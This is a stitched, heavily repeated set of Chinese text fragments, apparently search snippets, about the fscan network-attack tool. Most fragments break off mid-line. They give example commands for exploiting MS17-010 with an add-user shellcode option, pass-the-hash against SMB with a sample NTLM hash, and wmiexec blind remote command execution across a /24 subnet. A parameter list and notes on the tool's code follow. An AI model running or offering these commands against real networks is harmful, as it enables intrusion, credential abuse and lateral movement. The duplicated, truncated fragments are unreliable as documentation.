127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash...
192.168.1.1/24-m ms17010-scadd(内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)fscan.exe-h192.168.1.1/24-m smb2-user admin-hashxxxxx(pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)fscan.exe-h192.168.1.1/24-m wmiexec-user admin-pwd password-cxxxxx(...
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具) fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) fscan.exe -h 192.168.1.1/24 -m ...
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行) 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12....
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hashxxxxx (pthhash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwdpassword -c xxxxx (wmiexec无回显命令执行)
-local 本地模式 -nobr 禁用暴力破解 -retry 最大重试次数(默认3次) -path 远程路径配置 -hash 哈希值 -hashf 哈希文件 -sc Shellcode配置 -wmi 启用WMI -lang 语言设置(默认zh) 以上参数由于重构原因并不能保证每一个参数都可以正常运行,出现问题请及时提交Issue。
(内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具) fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec...
(内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具) fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec...
ParseInput对传入的hostinfo做解析。如果hostinfo为空,则跳出函数。对useradd、passadd、Socks5Proxy、Proxy、Hash参数做解析,基本都是保存到全局参数中的。 ParseScantype根据传入的扫描种类参数,将需要扫描的端口保存。(如果扫描种类多了,switch的使用会非常臃肿,最好编写一个调度框架,将需要实现的扫描方式编写成插件注...
192.168.1.1/24-m ms17010-scadd(内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)fscan.exe-h192.168.1.1/24-m smb2-user admin-hashxxxxx(pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)fscan.exe-h192.168.1.1/24-m wmiexec-user admin-pwd password-cxxxxx(...